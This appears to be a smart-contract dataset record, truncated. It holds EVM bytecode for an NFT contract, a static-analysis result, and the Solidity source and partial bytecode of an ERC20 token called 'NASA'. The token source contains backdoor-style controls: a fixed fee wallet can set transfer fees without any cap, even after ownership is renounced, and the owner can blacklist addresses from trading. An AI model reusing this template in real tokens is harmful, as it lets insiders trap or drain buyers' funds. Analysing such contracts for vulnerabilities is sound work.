0x608060405234801561001057600080fd5b50600436106101d95760003560e01c806370a0823111610104578063a22cb465116100a2578063d0def52111610071578063d0def52114610445578063e985e9c514610458578063f2fde38b1461046b578063f74c165d1461047e57600080fd5b8063a22cb465146103f9578063b0525abf1461040c578063b88d4fde1461041f578063c87b56dd1461043257600080fd5b8063879f9055116100de578063879f9055146103ad5780638b36b96a146103c05780638da5cb5b146103e057806395d89b41146103f157600080fd5b806370a082311461035b578063715018a61461037c57806383a75cd71461038457600080fd5b8063215e61ae1161017c578063404236541161014b578063404236541461030f57806342842e0e1461032257806342966c68146103355780636352211e1461034857600080fd5b8063215e61ae1461029457806323b872dd146102b75780632a55205a146102ca57806333373cea146102fc57600080fd5b8063081812fc116101b8578063081812fc14610230578063095ea7b31461025b578063162094c41461026e5780631f72d8311461028157600080fd5b80629ee39c146101de57806301ffc9a7146101f357806306fdde031461021b575b600080fd5b6101f16101ec366004611a53565b610491565b005b610206610201366004611a8d565b6104f5565b60405190151581526020015b60405180910390f35b610223610562565b6040516102129190611b02565b61024361023e366004611b15565b6105f0565b6040516001600160a01b039091168152602001610212565b6101f1610269366004611b2e565b610685565b6101f161027c366004611b9c565b61079b565b6101f161028f366004611b15565b610822565b6102066102a2366004611b15565b600a6020526000908152604090205460ff1681565b6101f16102c5366004611be8565b610860565b6102dd6102d8366004611c29565b610891565b604080516001600160a01b039093168352602083019190915201610212565b6101f161030a366004611c29565b6108f6565b6101f161031d366004611c4b565b610941565b6101f1610330366004611be8565b6109cd565b6101f1610343366004611b15565b6109e8565b610243610356366004611b15565b610ab6565b61036e610369366004611a53565b610b2d565b604051908152602001610212565b6101f1610bb4565b610243610392366004611b15565b6009602052600090815260409020546001600160a01b031681565b6101f16103bb366004611c84565b610bf9565b6103d36103ce366004611b15565b610ce6565b6040516102129190611d03565b6000546001600160a01b0316610243565b610223610dfd565b6101f1610407366004611d65565b610e0a565b6101f161041a366004611b15565b610e19565b6101f161042d366004611e07565b610e9c565b610223610440366004611b15565b610ece565b6101f1610453366004611eb6565b61103e565b610206610466366004611c4b565b6110b4565b6101f1610479366004611a53565b6110e2565b6101f161048c366004611ef2565b61118c565b336104a46000546001600160a01b031690565b6001600160a01b0316146104d35760405162461bcd60e51b81526004016104ca90611f17565b60405180910390fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60006301ffc9a760e01b6001600160e01b03198316148061052657506380ac58cd60e01b6001600160e01b03198316145b806105415750635b5e139f60e01b6001600160e01b03198316145b8061055c575063152a902d60e11b6001600160e01b03198316145b92915050565b6001805461056f90611f4c565b80601f016020809104026020016040519081016040528092919081815260200182805461059b90611f4c565b80156105e85780601f106105bd576101008083540402835291602001916105e8565b820191906000526020600020905b8154815290600101906020018083116105cb57829003601f168201915b505050505081565b6000818152600360205260408120546001600160a01b03166106695760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016104ca565b506000908152600560205260409020546001600160a01b031690565b600061069082610ab6565b9050806001600160a01b0316836001600160a01b031614156106fe5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016104ca565b336001600160a01b038216148061071a575061071a81336110b4565b61078c5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016104ca565b6107968383611222565b505050565b336107ae6000546001600160a01b031690565b6001600160a01b0316146107d45760405162461bcd60e51b81526004016104ca90611f17565b6000838152600a602052604090205460ff16156108035760405162461bcd60e51b81526004016104ca90611f87565b600083815260076020526040902061081c908383611930565b50505050565b336108356000546001600160a01b031690565b6001600160a01b03161461085b5760405162461bcd60e51b81526004016104ca90611f17565b600d55565b61086a3382611290565b6108865760405162461bcd60e51b81526004016104ca90611fae565b610796838383611367565b6000828152600e602052604081205481908190156108be57506000848152600e60205260409020546108c3565b50600d545b60006127106108d28387612015565b6108dc9190612034565b600c546001600160a01b03169450925050505b9250929050565b336109096000546001600160a01b031690565b6001600160a01b03161461092f5760405162461bcd60e51b81526004016104ca90611f17565b6000918252600e602052604090912055565b336109546000546001600160a01b031690565b6001600160a01b03161461097a5760405162461bcd60e51b81526004016104ca90611f17565b600b805490600061098a83612056565b919050555061099b82600b54611503565b600b54600090815260096020526040902080546001600160a01b0319166001600160a01b039290921691909117905550565b61079683838360405180602001604052806000815250610e9c565b6109f23382611290565b610a4f5760405162461bcd60e51b815260206004820152602860248201527f4552433732313a2063616c6c6572206973206e6f74206f776e6572206e6f7220604482015267185c1c1c9bdd995960c21b60648201526084016104ca565b610a5881611645565b6000818152600760205260408120610a6f916119b4565b6000818152600860205260408120610a86916119ee565b600090815260096020908152604080832080546001600160a01b0319169055600a9091529020805460ff19169055565b6000818152600360205260408120546001600160a01b03168061055c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016104ca565b60006001600160a01b038216610b985760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016104ca565b506001600160a01b031660009081526004602052604090205490565b33610bc76000546001600160a01b031690565b6001600160a01b031614610bed5760405162461bcd60e51b81526004016104ca90611f17565b610bf760006116e0565b565b33610c0c6000546001600160a01b031690565b6001600160a01b031614610c325760405162461bcd60e51b81526004016104ca90611f17565b6000838152600a602052604090205460ff1615610c615760405162461bcd60e51b81526004016104ca90611f87565b6000838152600860205260408120610c78916119ee565b60005b8181101561081c576000848152600860205260409020838383818110610ca357610ca3612071565b9050602002810190610cb59190612087565b825460018101845560009384526020909320610cd393019190611930565b5080610cde81612056565b915050610c7b565b6000818152600360205260409020546060906001600160a01b0316610d1d5760405162461bcd60e51b81526004016104ca906120ce565b600082815260086020908152604080832080548251818502810185019093528083529193909284015b82821015610df2578382906000526020600020018054610d6590611f4c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9190611f4c565b8015610dde5780601f10610db357610100808354040283529160200191610dde565b820191906000526020600020905b815481529060010190602001808311610dc157829003601f168201915b505050505081526020019060010190610d46565b505050509050919050565b6002805461056f90611f4c565b610e15338383611730565b5050565b33610e2c6000546001600160a01b031690565b6001600160a01b031614610e525760405162461bcd60e51b81526004016104ca90611f17565b6000818152600a602052604090205460ff1615610e815760405162461bcd60e51b81526004016104ca90611f87565b6000908152600a60205260409020805460ff19166001179055565b610ea63383611290565b610ec25760405162461bcd60e51b81526004016104ca90611fae565b61081c848484846117ff565b6000818152600360205260409020546060906001600160a01b0316610f055760405162461bcd60e51b81526004016104ca906120ce565b6000828152600960205260409020546001600160a01b031615610fa057600082815260096020526040908190205490516344a5a61760e11b8152600481018490526001600160a01b039091169063894b4c2e90602401600060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261055c919081019061211d565b60008281526007602052604090208054610fb990611f4c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fe590611f4c565b80156110325780601f1061100757610100808354040283529160200191611032565b820191906000526020600020905b81548152906001019060200180831161101557829003601f168201915b50505050509050919050565b336110516000546001600160a01b031690565b6001600160a01b0316146110775760405162461bcd60e51b81526004016104ca90611f17565b600b805490600061108783612056565b919050555061109883600b54611503565b600b54600090815260076020526040902061081c908383611930565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b336110f56000546001600160a01b031690565b6001600160a01b03161461111b5760405162461bcd60e51b81526004016104ca90611f17565b6001600160a01b0381166111805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ca565b611189816116e0565b50565b3361119f6000546001600160a01b031690565b6001600160a01b0316146111c55760405162461bcd60e51b81526004016104ca90611f17565b6000828152600a602052604090205460ff16156111f45760405162461bcd60e51b81526004016104ca90611f87565b60009182526009602052604090912080546001600160a01b0319166001600160a01b03909216919091179055565b600081815260056020526040902080546001600160a01b0319166001600160a01b038416908117909155819061125782610ab6565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b03166113095760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016104ca565b600061131483610ab6565b9050806001600160a01b0316846001600160a01b0316148061134f5750836001600160a01b0316611344846105f0565b6001600160a01b0316145b8061135f575061135f81856110b4565b949350505050565b826001600160a01b031661137a82610ab6565b6001600160a01b0316146113de5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016104ca565b6001600160a01b0382166114405760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016104ca565b61144b600082611222565b6001600160a01b0383166000908152600460205260408120805460019290611474908490612194565b90915550506001600160a01b03821660009081526004602052604081208054600192906114a29084906121ab565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001600160a01b0382166115595760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016104ca565b6000818152600360205260409020546001600160a01b0316156115be5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016104ca565b6001600160a01b03821660009081526004602052604081208054600192906115e79084906121ab565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600061165082610ab6565b905061165d600083611222565b6001600160a01b0381166000908152600460205260408120805460019290611686908490612194565b909155505060008281526003602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b816001600160a01b0316836001600160a01b031614156117925760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016104ca565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61180a848484611367565b61181684848484611832565b61081c5760405162461bcd60e51b81526004016104ca906121c3565b60006001600160a01b0384163b1561192557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611876903390899088908890600401612215565b6020604051808303816000875af19250505080156118b1575060408051601f3d908101601f191682019092526118ae91810190612252565b60015b61190b573d8080156118df576040519150601f19603f3d011682016040523d82523d6000602084013e6118e4565b606091505b5080516119035760405162461bcd60e51b81526004016104ca906121c3565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061135f565b506001949350505050565b82805461193c90611f4c565b90600052602060002090601f01602090048101928261195e57600085556119a4565b82601f106119775782800160ff198235161785556119a4565b828001600101855582156119a4579182015b828111156119a4578235825591602001919060010190611989565b506119b0929150611a0c565b5090565b5080546119c090611f4c565b6000825580601f106119d0575050565b601f0160209004906000526020600020908101906111899190611a0c565b50805460008255906000526020600020908101906111899190611a21565b5b808211156119b05760008155600101611a0d565b808211156119b0576000611a3582826119b4565b50600101611a21565b6001600160a01b038116811461118957600080fd5b600060208284031215611a6557600080fd5b8135611a7081611a3e565b9392505050565b6001600160e01b03198116811461118957600080fd5b600060208284031215611a9f57600080fd5b8135611a7081611a77565b60005b83811015611ac5578181015183820152602001611aad565b8381111561081c5750506000910152565b60008151808452611aee816020860160208601611aaa565b601f01601f19169290920160200192915050565b602081526000611a706020830184611ad6565b600060208284031215611b2757600080fd5b5035919050565b60008060408385031215611b4157600080fd5b8235611b4c81611a3e565b946020939093013593505050565b60008083601f840112611b6c57600080fd5b50813567ffffffffffffffff811115611b8457600080fd5b6020830191508360208285010111156108ef57600080fd5b600080600060408486031215611bb157600080fd5b83359250602084013567ffffffffffffffff811115611bcf57600080fd5b611bdb86828701611b5a565b9497909650939450505050565b600080600060608486031215611bfd57600080fd5b8335611c0881611a3e565b92506020840135611c1881611a3e565b929592945050506040919091013590565b60008060408385031215611c3c57600080fd5b50508035926020909101359150565b60008060408385031215611c5e57600080fd5b8235611c6981611a3e565b91506020830135611c7981611a3e565b809150509250929050565b600080600060408486031215611c9957600080fd5b83359250602084013567ffffffffffffffff80821115611cb857600080fd5b818601915086601f830112611ccc57600080fd5b813581811115611cdb57600080fd5b8760208260051b8501011115611cf057600080fd5b6020830194508093505050509250925092565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b82811015611d5857603f19888603018452611d46858351611ad6565b94509285019290850190600101611d2a565b5092979650505050505050565b60008060408385031215611d7857600080fd5b8235611d8381611a3e565b915060208301358015158114611c7957600080fd5b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611dd757611dd7611d98565b604052919050565b600067ffffffffffffffff821115611df957611df9611d98565b50601f01601f191660200190565b60008060008060808587031215611e1d57600080fd5b8435611e2881611a3e565b93506020850135611e3881611a3e565b925060408501359150606085013567ffffffffffffffff811115611e5b57600080fd5b8501601f81018713611e6c57600080fd5b8035611e7f611e7a82611ddf565b611dae565b818152886020838501011115611e9457600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b600080600060408486031215611ecb57600080fd5b8335611ed681611a3e565b9250602084013567ffffffffffffffff811115611bcf57600080fd5b60008060408385031215611f0557600080fd5b823591506020830135611c7981611a3e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680611f6057607f821691505b60208210811415611f8157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600d908201526c15549248199a5b985b1a5cd959609a1b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561202f5761202f611fff565b500290565b60008261205157634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561206a5761206a611fff565b5060010190565b634e487b7160e01b600052603260045260246000fd5b6000808335601e1984360301811261209e57600080fd5b83018035915067ffffffffffffffff8211156120b957600080fd5b6020019150368190038213156108ef57600080fd5b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60006020828403121561212f57600080fd5b815167ffffffffffffffff81111561214657600080fd5b8201601f8101841361215757600080fd5b8051612165611e7a82611ddf565b81815285602083850101111561217a57600080fd5b61218b826020830160208601611aaa565b95945050505050565b6000828210156121a6576121a6611fff565b500390565b600082198211156121be576121be611fff565b500190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061224890830184611ad6565b9695505050505050565b60006020828403121561226457600080fd5b8151611a7081611a7756fea26469706673582212209caf135da3d4612164e452ba15141dca10b7ccf338e58202a69e9ab6471b104664736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,391
0xbf3fdef1c3a950877811ae97860612b0a0e1ef02
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NASA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x07673c152158D838380a9CB2127E03Da8769605f); address payable private _feeAddrWallet2 = payable(0x07673c152158D838380a9CB2127E03Da8769605f); string private constant _name = "NASA"; string private constant _symbol = "NASA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146102e9578063c3c8cd8014610309578063c9567bf91461031e578063cfe81ba014610333578063dd62ed3e1461035357600080fd5b8063715018a61461026c578063842b7c08146102815780638da5cb5b146102a157806395d89b4114610124578063a9059cbb146102c957600080fd5b8063273123b7116100e7578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610124578063095ea7b31461016057806318160ddd1461019057806323b872dd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201825260048152634e41534160e01b602082015290516101579190611845565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046116cc565b610399565b6040519015158152602001610157565b34801561019c57600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610157565b3480156101c557600080fd5b506101806101d436600461168b565b6103b0565b3480156101e557600080fd5b506101f96101f4366004611618565b610419565b005b34801561020757600080fd5b5060405160098152602001610157565b34801561022357600080fd5b506101f96102323660046117c4565b61046d565b34801561024357600080fd5b506101f96104b5565b34801561025857600080fd5b506101ab610267366004611618565b6104e2565b34801561027857600080fd5b506101f9610504565b34801561028d57600080fd5b506101f961029c3660046117fe565b610578565b3480156102ad57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102d557600080fd5b506101806102e43660046116cc565b6105cf565b3480156102f557600080fd5b506101f96103043660046116f8565b6105dc565b34801561031557600080fd5b506101f9610672565b34801561032a57600080fd5b506101f96106a8565b34801561033f57600080fd5b506101f961034e3660046117fe565b610a71565b34801561035f57600080fd5b506101ab61036e366004611652565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103a6338484610ac8565b5060015b92915050565b60006103bd848484610bec565b61040f843361040a85604051806060016040528060288152602001611a31602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ecf565b610ac8565b5060019392505050565b6000546001600160a01b0316331461044c5760405162461bcd60e51b81526004016104439061189a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104975760405162461bcd60e51b81526004016104439061189a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d557600080fd5b476104df81610f09565b50565b6001600160a01b0381166000908152600260205260408120546103aa90610f8e565b6000546001600160a01b0316331461052e5760405162461bcd60e51b81526004016104439061189a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105ca5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610443565b600a55565b60006103a6338484610bec565b6000546001600160a01b031633146106065760405162461bcd60e51b81526004016104439061189a565b60005b815181101561066e5760016006600084848151811061062a5761062a6119e1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610666816119b0565b915050610609565b5050565b600c546001600160a01b0316336001600160a01b03161461069257600080fd5b600061069d306104e2565b90506104df81611012565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016104439061189a565b600f54600160a01b900460ff161561072c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076c30826b033b2e3c9fd0803ce8000000610ac8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a557600080fd5b505afa1580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611635565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190611635565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108a557600080fd5b505af11580156108b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dd9190611635565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061090d816104e2565b6000806109226000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561098557600080fd5b505af1158015610999573d6000803e3d6000fd5